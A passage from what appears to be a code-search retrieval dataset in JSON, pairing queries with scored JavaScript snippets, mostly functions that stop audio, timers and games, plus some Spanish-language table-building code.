(cov_1q5rv9i0dz().s[3]++, 0); i < taskList.length; i += 1) {\n cov_1q5rv9i0dz().s[4]++;\n taskList[i].removeTask();\n } // remove focus task\n\n\n const focusTask = (cov_1q5rv9i0dz().s[5]++, document.getElementById('focus-task').querySelector('task-item'));\n cov_1q5rv9i0dz().s[6]++;\n\n if (focusTask !== null) {\n cov_1q5rv9i0dz().b[0][0]++;\n cov_1q5rv9i0dz().s[7]++;\n focusTask.removeTask();\n } else {\n cov_1q5rv9i0dz().b[0][1]++;\n }\n\n cov_1q5rv9i0dz().s[8]++;\n localStorage.setItem('id', `${0}`);\n const btnSound = (cov_1q5rv9i0dz().s[9]++, new Audio('./icons/btnClick.mp3'));\n cov_1q5rv9i0dz().s[10]++;\n btnSound.volume = 0.01 * parseInt(localStorage.getItem('volume'), 10);\n cov_1q5rv9i0dz().s[11]++;\n btnSound.play();\n cov_1q5rv9i0dz().s[12]++;\n this.closePopUp();\n }", "title": "" }, { "docid": "bb969066e5fa25873d974ae05e9b421c", "score": "0.6206257", "text": "function stopMusic() {\n traffic.pause();\n loop.pause();\n}", "title": "" }, { "docid": "37dbc799d43bdd60f6f8af0ea3f544e9", "score": "0.6205835", "text": "function stop() {\n\t\ttoggleButtons();\n\t\tclearInterval(timer);\n\t\ttimer = null;\n\t\tdocument.getElementById(\"display\").innerHTML = \"\";\n\t}", "title": "" }, { "docid": "bf917789195a8506b8715d3fb8613bd2", "score": "0.6201516", "text": "function startStop() {\n if(running === true) {\n theseCards.forEach(\n function(theseCards) { \n theseCards.classList.remove('no-click');\n });\n increment();\n document.querySelector('.paused').style.visibility = 'visible';\n document.querySelector('.restart').style.visibility = 'visible';\n document.querySelector('.paused button').innerHTML = 'Pause';\n } else {\n document.querySelector('.paused button').innerHTML = 'Resume';\n document.querySelector('.paused button').style.backgroundColor = '#ff80ff';\n theseCards.forEach(\n function(theseCards) { \n theseCards.classList.add('no-click');\n });\n increment();\n }\n }", "title": "" }, { "docid": "d28b2544dcd5871391bb7819cd67e214", "score": "0.61794233", "text": "handleClick() {\n\t\tthis.resumePlay();\n\t}", "title": "" }, { "docid": "e5aa246f36853258a3465b0906e7f67a", "score": "0.61721534", "text": "start(mode) {\n this.mode = mode || this.mode;\n // If timer isn't active\n if(!this.isActive) {\n // Change isActive\n this.isActive = true;\n // Change buttons text\n startBtn.textContent = 'Pause';\n stopBtn.textContent = (this.mode === 1) ? 'Stop' : 'Skip';\n stopBtn.disabled = false;\n\n if(this.diff === null) {\n this.diff = (this.mode === 1) ? this.default : (this.mode === 2) ? this.shortBreak : this.longBreak;\n }\n // Set end time\n this.end = new Date(new Date().getTime() + this.diff.getTime());\n\n // Declare this for async func\n const self = this;\n function step() {\n // If timer is active\n if(self.isActive) {\n // Difference between end and now\n self.diff = new Date(self.end.getTime() - new Date().getTime());\n if(self.diff.getTime() > 0) {\n ui.updateTime(`${self.getTime('diff')}`);\n } else {\n // Time left - clear interval\n clearInterval(timerId);\n\n if (self.mode === 1) {\n self.reset();\n self.callback();\n audio.play();\n\n store.incrementCompleted();\n self.start(store.getConfig().completed % 4 !== 0 ? 2 : 3);\n } else {\n self.reset();\n }\n }\n } else {\n clearInterval(timerId);\n }\n }\n \n const timerId = setInterval(step, 100);\n } else {\n // Change isActive\n this.isActive = false;\n // Change buttons text\n startBtn.textContent = 'Resume';\n stopBtn.textContent = (this.mode === 1) ? 'Done' : 'Skip';\n }\n }", "title": "" }, { "docid": "bfca9e830d7b8157175953338372b526", "score": "0.616423", "text": "handleStop(ev) {\n RAG.speech.onspeak = undefined;\n RAG.speech.onstop = undefined;\n this.btnPlay.hidden = false;\n // Only focus play button if user didn't move focus elsewhere. Prevents\n // annoying surprise of focus suddenly shifting away.\n if (document.activeElement === this.btnStop)\n this.btnPlay.focus();\n this.btnStop.hidden = true;\n RAG.speech.stop();\n // If event exists, this stop was called by the user\n if (ev)\n RAG.views.marquee.set(RAG.views.editor.getText(), false);\n }", "title": "" }, { "docid": "4e7837a6664f0519c77e43a4604a635f", "score": "0.6158597", "text": "function onStop() {\n}", "title": "" }, { "docid": "79a3b0d7bf16eb5c7bc8a3a6808bd0c3", "score": "0.615016", "text": "stop() {\n this.send([0xFC])\n this.stopButton.setAttribute(\"disabled\", \"disabled\")\n this.startButton.removeAttribute(\"disabled\")\n this.beat = 0\n this.tick = 0\n\n clearTimeout(this.timeout)\n }", "title": "" }, { "docid": "2cf62620965c373bf980145b6691d3b0", "score": "0.6145138", "text": "stop(){\n\t\tTone.context.clearTimeout(this._id)\n\t\tthis._players.stopAll('+0.5')\n\t}", "title": "" }, { "docid": "286adbe0a6b173ce7db4c5168bba8231", "score": "0.6141759", "text": "function audioStop() {\n\tshouldPlayersBeOn = false;\n\tstopLoops();\n\tmaster.amp(0, 0.2, 0);\n\t// experienceDur = 0;\n\tspeechDur = 0;\n\tsilenceDur = 0;\n\t//smoothExperienceDur = 0;\n\tsmoothSpeechDur = 0;\n\tisSchedulerOn = false; \n\taudioProcessorLoop.start();\n\tcontinuousWhispers = false;\n\tconsole.log(\"Scheduler stopped!\");\n}", "title": "" }, { "docid": "f585815ad1a630c627d9b3114753d257", "score": "0.61401725", "text": "stop() {\n this.stopMedia(-1);\n }", "title": "" }, { "docid": "3ed6445eb954dbe6be9631bc0f7daed9", "score": "0.61382294", "text": "function playStop(){\r\n if(!playing) {\r\n console.log(\"(playrec.js)(playStop) not playing\"+playing);\r\n return false;\r\n }\r\n else\r\n playing = false;\r\n}", "title": "" }, { "docid": "313964aafc91a1c8317d6e6562205f87", "score": "0.6135474", "text": "function stopAudio() {\n if (isBusy()) {\n lastPlayer.stop();\n removeBlurHandler();\n }\n }", "title": "" }, { "docid": "da022ea530745ea3936e5cb103ea6f7e", "score": "0.61284167", "text": "function handleStop() {\n mediaRecorder.stop();\n startBtn.classList.remove('is-danger');\n startBtn.innerText = 'Start';\n}", "title": "" }, { "docid": "23f46e558bbddc571cf494a3aa2e1d22", "score": "0.612483", "text": "stopPlaying() {\n this.emit(\"end\");\n this._setSpeaking(false);\n this.piper.stop();\n this.piper.resetPackets();\n }", "title": "" }, { "docid": "37da351302c3753f7eac0bd06303ef9b", "score": "0.61131847", "text": "function stopRunning() {\n if (running.intervalId === 0) {\n return;\n }\n // Stop interval and update button to say \"Play\"\n clearInterval(running.intervalId);\n running.button.textContent = \"Play\";\n // Nothing running anymore\n running = { intervalId: 0, button: undefined };\n}", "title": "" }, { "docid": "caadf9514e0b651023a0343090a28df6", "score": "0.610423", "text": "function stopSong() {\n activeSong.currentTime = 0;\n activeSong.pause();\n }", "title": "" }, { "docid": "c80374fd722144db097eb7aabea1282c", "score": "0.60995114", "text": "done() {\n this.action.stop();\n }", "title": "" }, { "docid": "b657982bb5becccfe8c8c57862f00bc4", "score": "0.60959", "text": "function startButtonHandler() {\n if (autoPlaying) {\n console.log(\"Pauser le jeu\");\n autoPlaying = false;\n this.innerHTML = \"Continuer\";\n clearTimeout(timer);\n } else {\n console.log(\"Continuer le jeu\");\n autoPlaying = true;\n this.innerHTML = \"Pauser\";\n autoPlay();\n }\n}", "title": "" }, { "docid": "25eac522f2d359f4393125c124f6da39", "score": "0.6087553", "text": "stop() {\n this.setState({takingQuestions: false}); //Stop taking answers\n\n let lectureCode = this.state.lectureCode;\n LectureActions.clearActiveQuestion(lectureCode); //Set active question to none\n\n this.refs.timer.stopTimer();\n }", "title": "" }, { "docid": "5f605f1e7a72272a2ad796569edfda1a", "score": "0.608045", "text": "function decrement() {\n number--;\n $(\".timer\").html(\"<p>Time Remaining: \" + number + \"</p>\");\n\n if (number == 0) {\n stop();\n $(\".trivia-block\").html(\"\")\n $(\".timer\").html(\"<p>Time Remaining: 10</p>\");\n state.notAnswered++;\n state.incorrect++;\n state.questionCounter++;\n $(\".trivia-block\").append(\"Ran out of time!\")\n setTimeout(function () {\n $(\".trivia-block\").html(\"\")\n run();\n }, 3000);\n }\n}", "title": "" }, { "docid": "a323f85aa5de7d1cf20598b1aab24744", "score": "0.6080012", "text": "function stop() {\n clearInterval(interval);\n questionProgress++;\n setTimeout(nextQuestion, 4000);\n}", "title": "" }, { "docid": "773cc7b5c01bbdb74d268560d86a4a39", "score": "0.6079281", "text": "function stop() {\n\t\t// reset timers\n\t\tif (slideshowTimeout != null) {clearTimeout(slideshowTimeout); slideshowTimeout = null; }\n\t\tif (closeTimeout != null) {clearTimeout(closeTimeout); closeTimeout = null; }\n\t\t\n\t\tif (activeIndex >= 0) {\n\t\t\tvar r = resources[activeIndex];\n\t\t\tif ((!r.error) && (shown))\n\t\t\t\tr.handler.hide(r);\n\t\t}\n\t\t\n\t\t// reset everything\n\t\t$([container, caption, number]).html(\"\");\n\t\t$(loadingIndicator).hide();\n\t\t$([bottom, container]).stop(true, true).hide();\n\t\t$(center).stop(true).css({width: centerSize[0], height: centerSize[1], marginLeft: -centerSize[0]/2, marginTop: -centerSize[1]/2, opacity: \"\"});\n\t\t$([navLinks, caption, number]).hide();\n\t\t$([container, caption, number, prevLink, nextLink]).removeClass();\n\t\tshown = busy = false;\n\t}", "title": "" }, { "docid": "95de0e0149a52e4e3d4a842d606616f2", "score": "0.60788465", "text": "function stop() {\n\t clearInterval(intervalId);\n\t //reset the number to 5 seconds if the player wants to restart the game\n\t number = 10;\n\t //hiding the questions, to only display the stats\n\t $(\".quizContent\").hide();\n\t}", "title": "" }, { "docid": "fe71beed588410a16ce24a46aae8a898", "score": "0.6074309", "text": "function doStop(evt) {\n evt.preventDefault();\n $('#spanPlayPause').attr('class', 'glyphicon glyphicon-play');\n base.player.currentTime = 0;\n progressBar.value = 0;\n base.player.pause();\n }", "title": "" }, { "docid": "526a5ab7d67ef0b01c1053d6f5a451c4", "score": "0.60739136", "text": "wait(){\n this.synth.pause();\n // Can add playback button responses here\n }", "title": "" }, { "docid": "79a950f8dfa8ad3554510935c7f15dc0", "score": "0.60658175", "text": "continue(){\n this.synth.resume();\n // Can add playback button responses here\n }", "title": "" }, { "docid": "461c19906c8a080153e24baa071e434c", "score": "0.60630906", "text": "stop() {\n this.audioElement.pause();\n this.audioElement.currentTime = 0;\n }", "title": "" }, { "docid": "c5287f167cb443e91ebce7d35951292d", "score": "0.60446525", "text": "function stopOther(){\n \n var tango = document.getElementById('tango');\n var tangoButton = document.getElementById('tangoButton');\n \n var instrumental = document.getElementById('instrumental');\n var instrumentalButton = document.getElementById('instrumentalButton');\n \n if (instrumental.play){\n tango.pause();\n tango.currentTime = 0;\n\ttangoButton.className = \"\";\n\ttangoButton.className = \"play\";\n };\n if (tango.play){\n instrumental.pause();\n instrumental.currentTime = 0;\n\tinstrumentalButton.className = \"\";\n\tinstrumentalButton.className = \"playsm\";\n };\n}", "title": "" }, { "docid": "b334cba29707ff55334f83ad189ec92c", "score": "0.6041261", "text": "stop(id){\n clearInterval(id);\n this.sucess=true;\n }", "title": "" }, { "docid": "c529b893b7e9a3a31431b7e6940ede75", "score": "0.6037256", "text": "function endGame() {\n timer.stop();\n $(\"#current-question, #answer-list, #timer, #right-wrong, #pic-field\").empty();\n $(\"#result-holder\").html(\"<button id='results'><i class='fa fa-calculator'></i>&nbsp; See your results</button>\");\n }", "title": "" }, { "docid": "70539b93b2e17a1731408ba2e2768974", "score": "0.60283434", "text": "function stopClick() {\n //clear creating and movement timeouts\n clearTimeout(playTimeoutId);\n clearTimeout(movementTimeoutId);\n movementTimeoutId = 0;\n playTimeoutId = 0;\n\n //change button to Play state\n $field.animate({ opacity: 0.5 }, 200);\n $btnPlay.unbind(\"click\", stopClick);\n $btnPlay.click(playClick);\n $btnPlay.removeClass(\"stop\").addClass(\"adding\");\n $btnPlay.find(\"p\").text(\"Play\");\n }", "title": "" }, { "docid": "8730c483a3c1d716dde7ce5bc2e76944", "score": "0.6017379", "text": "function stop(){\n tsk.cancel(); // cancel our task\n}", "title": "" }, { "docid": "72f3bc0d58d3132d0c37b229ee1f16d5", "score": "0.6016491", "text": "stop() {\n\t\tthis._isPlaying = false;\n\t\tthis.stopRendering();\n\t}", "title": "" }, { "docid": "52cc13ed76db6a149c9f1975b5c3a989", "score": "0.60032797", "text": "function musesHTMLStopClick() {\n MRP.html.audio.pause();\n //delete MRP.html;\n}", "title": "" }, { "docid": "55fd7dcffdb09c06a1a6c48f2c1054e8", "score": "0.6002335", "text": "pause() {\n this.playing = 0;\n }", "title": "" }, { "docid": "33975bdf7df00d87bf344c0751a3292b", "score": "0.60019016", "text": "function stop() { \n\tplayer.stopVideo(); \n\tymp_state = \"stopped\";\n\tSendDisplayInfo();\n}", "title": "" }, { "docid": "fa876577e129851519574fe5041e5780", "score": "0.5999945", "text": "function stop() {\n clearInterval(interval);\n // Moves game to the next question\n questionIndex++;\n hideAnswersAndTime();\n $(\"#questions\").text(\"Time is up!\");\n // Shows next set of questions after 5 seconds\n setTimeout(loadQuestions, 1000 * 5);\n}", "title": "" }, { "docid": "bfc6f41d4a1d21b6b1524ca8851da347", "score": "0.5993688", "text": "function timeout_done(){\n $('#icon, #return-to-home, #settings').hide();\n $('#break').fadeToggle(500);\n $('#clock').delay(2000).addClass('break').removeClass('timer-started');\n defaultTimer.stop();\n\n if($('#sound-settings').hasClass('on')) {\n timerAudio.play();\n } \n}", "title": "" }, { "docid": "119bc797c69dc4abdc548088d1988085", "score": "0.5984814", "text": "function buttonStart() {\n timerStart()\n clearScreen()\n questionStart()\n}", "title": "" }, { "docid": "2b7d829dc3f87ba4f2e867dfcd22374e", "score": "0.59832025", "text": "function stopcountdown(){\n clearInterval(action);\n}", "title": "" }, { "docid": "b02d455d2ddbd9b2089675865bee7935", "score": "0.59831196", "text": "function stop_answered(){}", "title": "" }, { "docid": "e315dbdde36446f1eb907b646e481517", "score": "0.5977237", "text": "function stop() {\n tsk.cancel(); // allow a 'stop' message to stop the timer\n}", "title": "" }, { "docid": "1e85a321451ef66f4813fdff80582775", "score": "0.59732574", "text": "function breakTime_done(){\n $('#icon, #return-to-home').hide();\n $('#end-break').fadeToggle(500);\n $('#clock').delay(2000).removeClass('break');\n breakTimer.stop();\n\n if($('#sound-settings').hasClass('on')) {\n breakAudio.play();\n } \n}", "title": "" }, { "docid": "2b31d6fc27aaf16117fa164aa17a38d4", "score": "0.596469", "text": "function stop() {\n clearInterval(intervalId);\n $(\"#scoreHeader\").text(\"Time's up!!\");\n checkAnswers();\n}", "title": "" }, { "docid": "1cf1b1e0591de5375e6217277bde5b52", "score": "0.596157", "text": "function stopTime() {\n secondsElapsed = 0;\n setTime();\n renderTime();\n\n}", "title": "" }, { "docid": "a04f3e1ebfe1cdf4ecdc6689303d491d", "score": "0.59534276", "text": "function run() {\n $('.hidden').addClass('show').removeClass('hidden');\n $('#results').hide();\n intervalId = setInterval(decrement, 1000);\n\n }", "title": "" }, { "docid": "a564382a247b8773214170a160bd665f", "score": "0.59404093", "text": "function stopAudio() {\n song.pause();\n}", "title": "" }, { "docid": "6de55caa1412d68923d8e41ed45c437b", "score": "0.5940203", "text": "stop() {\n if (this._playQueued) {\n this.once('play', () => {\n this._activeSegments.forEach((segment) => {\n segment.once('stop', () => {\n let index = this._activeSegments.indexOf(segment);\n if (index >= 0) {\n this._activeSegments.splice(index, 1);\n }\n this._segmentPool.returnSegment(segment);\n });\n segment.stop();\n });\n this._activeSegments = [];\n });\n } else {\n this._activeSegments.forEach((segment) => {\n segment.stop();\n this._segmentPool.returnSegment(segment);\n });\n this._activeSegments = [];\n }\n }", "title": "" }, { "docid": "df37eed61708b2f4ce6717ff3b149485", "score": "0.5935356", "text": "onStop() {\n }", "title": "" }, { "docid": "a4df7dc41c6b11e98cc60d9d9d21d402", "score": "0.59326243", "text": "function StopPlayback() {\n return ATMPlayer.Stop();\n}", "title": "" }, { "docid": "d4b2b495ed16a525f0841d0c18952bf8", "score": "0.59237796", "text": "gameStopped() {\n let music = [this.gameOverMusic, this.backgroundMusic];\n music.forEach((e) => {\n e.pause();\n e.currentTime = 0;\n });\n }", "title": "" }, { "docid": "bc18da764e1e54ccd8907b71b2370e89", "score": "0.5917945", "text": "updateTempo(e){\n this.bpm = e.target.value;\n clearInterval(this.isPlaying);\n this.isPlaying = null;\n const playBtn = document.querySelector('.play');\n if(playBtn.classList.contains('active')){\n this.start();\n }\n }", "title": "" }, { "docid": "776f06ebe89e58fb09c5aca6830270c6", "score": "0.5916864", "text": "function stopBtn() {\n clearInterval(timer); \n}", "title": "" }, { "docid": "536805d1200a146041d5134a6d57a2cc", "score": "0.5914562", "text": "stopPlaying() {\n if(this.ended) {\n return;\n }\n this.ended = true;\n if(this.current && this.current.timeout) {\n clearTimeout(this.current.timeout);\n this.current.timeout = null;\n }\n this.current = null;\n if(this.piper) {\n this.piper.stop();\n this.piper.resetPackets();\n }\n\n if(this.secret) {\n for(let i = 0; i < 5; i++) {\n this.sendAudioFrame(SILENCE_FRAME, this.frameSize);\n }\n }\n this.playing = false;\n this.setSpeaking(0);\n\n /**\n * Fired when the voice connection finishes playing a stream\n * @event VoiceConnection#end\n */\n this.emit(\"end\");\n }", "title": "" }, { "docid": "5ee24d2a378aa24502cfa1d03983bb54", "score": "0.5913753", "text": "stopAudio() {\n if (!this.audio || !this.audio.audio) {\n return;\n }\n\n /*\n * We need to reset the audio button to its initial visual state, but it\n * doesn't have a function to to that -> force ended event and reload.\n */\n const duration = this.audio.audio.duration;\n if (duration > 0 && duration < Number.MAX_SAFE_INTEGER) {\n this.audio.seekTo(duration);\n }\n\n if (this.audio.audio.load) {\n setTimeout(() => {\n this.audio.audio.load();\n }, 100);\n }\n }", "title": "" }, { "docid": "ea61e6094392576a002912f581b30123", "score": "0.5902295", "text": "function stopGame() {\n timer.stop();\n openModal();\n}", "title": "" }, { "docid": "f2a4b565ab6367260c00188f2132b2d8", "score": "0.59004027", "text": "pause(){\n if(stopwatchStatus === true ){\n window.clearInterval(counter)\n stopwatchStatus = false\n }\n //change the start button to resume when the time is running\n document.getElementById(\"start\").innerHTML = \"Resume\";\n\n }", "title": "" }, { "docid": "e2dfb9a4905618ca7c6dfb69a434b409", "score": "0.58944255", "text": "stop() {\n // Already stopped? Do not continue\n if (!this.isSpeaking)\n return;\n // Stop pumping\n clearTimeout(this.pumpTimer);\n this.isSpeaking = false;\n // Cancel all pending requests\n this.pendingReqs.forEach(r => r.cancel());\n // Kill and dereference any currently playing file\n this.scheduledBuffers.forEach(node => {\n node.stop();\n node.disconnect();\n });\n this.nextBegin = 0;\n this.currentIds = undefined;\n this.currentSettings = undefined;\n this.pendingReqs = [];\n this.scheduledBuffers = [];\n console.debug('VOX STOPPED');\n if (this.onstop)\n this.onstop();\n }", "title": "" }, { "docid": "1c0e7efbfb2ae17adacc8425b130abc1", "score": "0.5889851", "text": "function playButtonClicked(){\r\n if (playing === true){\r\n stopSlideShow();\r\n } else {\r\n startSlideShow();\r\n }\r\n}", "title": "" }, { "docid": "737c6ad72a1d8017b57e65b12d22198c", "score": "0.58897907", "text": "onPressBtnPlay() {\n var pausedText = '';\n if (!this.state.paused) {\n pausedText = 'Play';\n\n // always show controls\n if (this.timeoutHandle) {\n clearTimeout(this.timeoutHandle);\n }\n } else {\n pausedText = 'Pause';\n\n // hide controls after 5s\n this.timeoutHandle = setTimeout(() => {\n this.setState({hideControls: true});\n }, 5000);\n }\n this.setState({paused: !this.state.paused, pausedText: pausedText});\n }", "title": "" }, { "docid": "c79b289a2c13c39ce3704d1cce054142", "score": "0.58884877", "text": "function stopPlayback(){\n\tmyArchive.stopPlayback();\n}", "title": "" }, { "docid": "3c9da2df38c87aa13b7a030a3915f973", "score": "0.58881414", "text": "function setStoppedState() {\n statusDiv.innerText = 'Ready to play!';\n statusDiv.classList.remove('loading');\n controls.removeAttribute('disabled');\n slideControls.removeAttribute('disabled');\n playButton.innerText = 'Play';\n playInterpButton.innerText = 'Play full interpolation';\n playInterpButton.disabled = false;\n playButton.disabled = false;\n saveButton.disabled = false;\n}", "title": "" }, { "docid": "bfbb5e4c2291d85459ada3528765a9b2", "score": "0.5881206", "text": "function stopSound () {\n stopButton.classList.add('d-none')\n playButton.classList.remove('d-none')\n playbackSlider.disabled = true\n\n sound.stop(0)\n}", "title": "" }, { "docid": "6e540190a326122cfb2166e0bd293e54", "score": "0.5877759", "text": "stop () {\n\n }", "title": "" }, { "docid": "b0b489d0a8e66a0e5d0cdee99e79e286", "score": "0.587293", "text": "function decrement() {\n //number minus one\n number--;\n //show the number on screen (after 1 second interval)\n $(\"#countdown\").text(\"Time Remaining: \" + number + \" Seconds\");\n if (number === 0){\n stop();\n //when the time is over, show response\n //show the text \"Out of Time!\"\n $(\"#item-a\").html($(\"<p>\").text(\"Out of Time!\").attr(\"class\",\"response\"))\n //show the correct answer\n $(\"#item-a\").append($(\"<p>\").text(\"The correct answer is: \" + question[round].key).attr(\"class\",\"response\"))\n //show the gif in object\n $(\"#item-b\").html($(\"<img>\").attr(\"src\",question[round].img))\n //count the question as unanswered\n unanswered = unanswered + 1;\n //click anywhere or automatically show the next question after 5 seconds\n setTimeout(show, 5000);\n }\n }", "title": "" }, { "docid": "e2d3788e744a12d3697929c8768ef3de", "score": "0.58721316", "text": "function StopPlay() {\n myAudioApple.pause();\n myAudioApple.currentTime = 0;\n myAudioBanana.pause();\n myAudioBanana.currentTime = 0;\n myAudioBurger.pause();\n myAudioBurger.currentTime = 0;\n myAudioHotdog.pause();\n myAudioHotdog.currentTime = 0;\n myAudioKiwi.pause();\n myAudioKiwi.currentTime = 0;\n myAudioPasta.pause();\n myAudioPasta.currentTime = 0;\n myAudioPizza.pause();\n myAudioPizza.currentTime = 0;\n myAudioSalad.pause();\n myAudioSalad.currentTime = 0;\n myAudioTaco.pause();\n myAudioTaco.currentTime = 0;\n}", "title": "" }, { "docid": "75775403ba594684d1900871f0bd474e", "score": "0.5868314", "text": "function stopTimerHandler() { // clear the interval to freeze the time\n isRunning = false;\n document.getElementById('play').disabled = false;\n document.getElementById('stop').disabled = true;\n clearInterval(time);\n}", "title": "" }, { "docid": "455ca3a1573312273d661506e3328a90", "score": "0.5868141", "text": "async stopped() {}", "title": "" }, { "docid": "455ca3a1573312273d661506e3328a90", "score": "0.5868141", "text": "async stopped() {}", "title": "" }, { "docid": "455ca3a1573312273d661506e3328a90", "score": "0.5868141", "text": "async stopped() {}", "title": "" }, { "docid": "455ca3a1573312273d661506e3328a90", "score": "0.5868141", "text": "async stopped() {}", "title": "" }, { "docid": "f50f4833d08f24d50cdc3780ba9dd27d", "score": "0.58669007", "text": "function stop() {\n player.pause();\n player.currentTime = 0;\n \n init();\n }", "title": "" } ]
0305d298b4e12b1878e31c3c3f267987
FUNCION PARA RECARGAR LA TABLA DEL ALMACEN
[ { "docid": "bff68662b95d4dd77b639bae42d40d4a", "score": "0.0", "text": "function recargarTablaActividad() {\n var tabla = $('#lista-actividad').DataTable();\n tabla.ajax.reload();\n}", "title": "" } ]
[ { "docid": "edfd468a82be33c892733417ab176766", "score": "0.6489333", "text": "function crearListaColumnas(typeTbl) {\n var columnasTabla = new Array();\n\n if (typeTbl === 1) {//Parametros\n var col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomNumero\")(), \"nombreCompo\": \"numero\", \"editable\": false,\n \"tipoCompon\": \"rowCount\", \"persist\": \"numero\", \"ancho\": \"80px\"\n };\n columnasTabla.push(col);\n col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomClasificadorParametro\")(), \"nombreCompo\": \"clasificacion\", \"editable\": true,\n \"tipoCompon\": \"select\", \"persist\": \"clasificadorParametro\", \"ancho\": \"130px\", \"data\": listaClasi\n };\n columnasTabla.push(col);\n\n col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomDescripcion\")(), \"nombreCompo\": \"descripcion\", \"editable\": true,\n \"tipoCompon\": \"text\", \"persist\": \"descripcion\", \"ancho\": \"150px\"\n };\n columnasTabla.push(col);\n col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomUnidad\")(), \"nombreCompo\": \"unidad\", \"editable\": true,\n \"tipoCompon\": \"select\", \"persist\": \"unidad\", \"ancho\": \"130px\", \"data\": listaUnidades\n };\n columnasTabla.push(col);\n col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomMascara\")(), \"nombreCompo\": \"mascara\", \"editable\": true,\n \"tipoCompon\": \"text\", \"persist\": \"mascara\", \"ancho\": \"200px\",\n \"data\": listaClasi\n };\n columnasTabla.push(col);\n col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ParaConcepDeNomTipo\")(), \"nombreCompo\": \"FechaNacimiento\", \"editable\": true,\n \"tipoCompon\": \"select\", \"persist\": \"tipo\", \"ancho\": \"150px\", \"data\": listaTipos\n };\n columnasTabla.push(col);\n } else if (typeTbl === 2) {//Tipo Corrida\n var col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"TipoCorridaclave\")(), \"nombreCompo\": \"clave\", \"editable\": true,\n \"tipoCompon\": \"select\", \"persist\": \"tipoCorrida\", \"ancho\": \"190px\", \"data\": listaCorridas, \"funcion\": \"getTipoCorrida\"\n };\n columnasTabla.push(col);\n var col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"TipoCorrida\")(), \"nombreCompo\": \"tipocorrida\", \"editable\": false,\n \"tipoCompon\": \"text\", \"persist\": \"nombreTipocorrida\", \"ancho\": \"300px\"\n };\n columnasTabla.push(col);\n } else if (typeTbl === 3) {//Otras bases\n var col = {\n \"tituloColumna\": idiomaSelecionadoCol.messageFormatter(\"ConceptosNominaTblOtrasBases\")(), \"nombreCompo\": \"otrasBases\", \"editable\": true,\n \"tipoCompon\": \"select\", \"persist\": \"otrasBases\", \"ancho\": \"190px\", \"data\": listBasesNoReservadas\n };\n columnasTabla.push(col);\n }\n\n return columnasTabla;\n}", "title": "" }, { "docid": "cc25f7763b52d299852c9136e84396e3", "score": "0.6426052", "text": "function mostrarTablaSolicitudesResidencia(){\r\n\r\n}", "title": "" }, { "docid": "1fa88dd4a51ea30c5cdc64a320b10f0d", "score": "0.6385837", "text": "function dibujar_tabla_listas_busqueda(resultados) {\n if(resultados.length){\n let table = document.createElement('table');\n table.style.width=\"100%\";\n let tableBody = document.createElement('tbody');\n table.appendChild(tableBody);\n //RECORRER LAS LISTAS\n for(let i=-1; i<resultados.length; i++){\n let tr = document.createElement('tr');\n tableBody.appendChild(tr);\n if(i==-1){\n //EN EL INDICE -1 DIBUJAR EL ENCABEZADO DE LA TABLA\n for (let j=0; j<4; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=\"Reproducir\";\n }\n else if(j==1){\n contenido_celda.innerHTML=\"Nombre lista\";\n }\n else if (j==2){\n contenido_celda.innerHTML=\"Seguir\";\n }\n else if(j==3){\n contenido_celda.innerHTML=\"Visualizar\";\n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }else{\n for (let j=0; j<4; j++) {\n var td = document.createElement('td');\n let contenido_celda = document.createElement('div');\n if(j==0){\n contenido_celda.innerHTML=`<button><img src='../assets/icons/reproducir.svg' class='icono-boton'></button>`;\n contenido_celda.addEventListener('click',()=>{\n reproducir_arreglo_canciones(resultados[i].canciones);\n });\n }\n else if(j==1){\n contenido_celda.innerHTML=resultados[i].nombre_lista;\n }\n else if (j==2){\n //console.log(id_listas_propietarias, resultados[i]._id);\n if(id_listas_propietarias.includes(resultados[i]._id)){\n contenido_celda.innerHTML=\"Eres dueño de esta lista\";\n }else{\n contenido_celda.innerHTML=`<button><img src='../assets/icons/add.svg' class='icono-boton'></button>`;\n contenido_celda.addEventListener('click',()=>{\n seguir_lista(resultados[i]._id);\n })\n }\n }\n else if(j==3){\n //SI LA LISTA A IMPRIMIR SE ENCUENTRA EN LAS LISTAS PROPIETARIAS DE UN USUARIO, DARLE A ESTE LA CAPACIDAD DE EDICION EN LA BUSQUEDA\n if(id_listas_propietarias.includes(resultados[i]._id)){\n //INGRESAR BOTON DE EDICION QUE ACTIVA EL MODAL EDITAR LISTA\n contenido_celda.innerHTML=`<button data-bs-toggle=\"modal\" data-bs-target=\"#modal-editar-lista\"><img src='../assets/icons/edit.svg' class='icono-boton'></button>`;\n contenido_celda.onclick = () => {\n //LLAMAR A LA FUNCION PARA DIBUJAR EL CONTENIDO DEL MODAL DE UNA CUANDO EL USUARIO ES PROPIETARIO (EDITAR LISTA)\n dibujar_contenido_lista_propietaria(resultados, i);\n //LLAMAR A LAS FUNCIONES PARA BRINDAR LA FUNCIONALIDAD DE EDITAR LISTA Y ELIMINAR LISTA\n editar_lista(resultados[i]._id);\n eliminar_lista(resultados[i]._id, resultados[i].propietario);\n }\n }else{ //PERO SI LA LISTA DE REPRODUCCION NO ES PROPIETARIA, DARLE AL USUARIO UNICAMENTE LA CAPACIDAD DE VISUALIZARLA\n contenido_celda.innerHTML=`<button data-bs-toggle=\"modal\" data-bs-target=\"#modal-visualizar-lista\"><img src='../assets/icons/visualizar.svg' class='icono-boton'></button>`;\n contenido_celda.onclick = () => {\n //LLAMAR A LA FUNCION PARA DIBUJAR EL CONTENIDO DEL MODAL DE UNA CUANDO EL USUARIO NO ES EL PROPIETARIO\n dibujar_contenido_lista_ajena(resultados, i, false);\n }\n }\n \n }\n td.appendChild(contenido_celda);\n tr.appendChild(td);\n }\n }\n contenedor_resultados.appendChild(table);\n }\n }else{\n let h3 = document.createElement(\"h3\");\n h3.textContent=\"No se encontraron listas de reproducción con ese nombre.\";\n contenedor_resultados.appendChild(h3);\n }\n}", "title": "" }, { "docid": "d0d133d68712157bed1dc4dc5e8e4ffd", 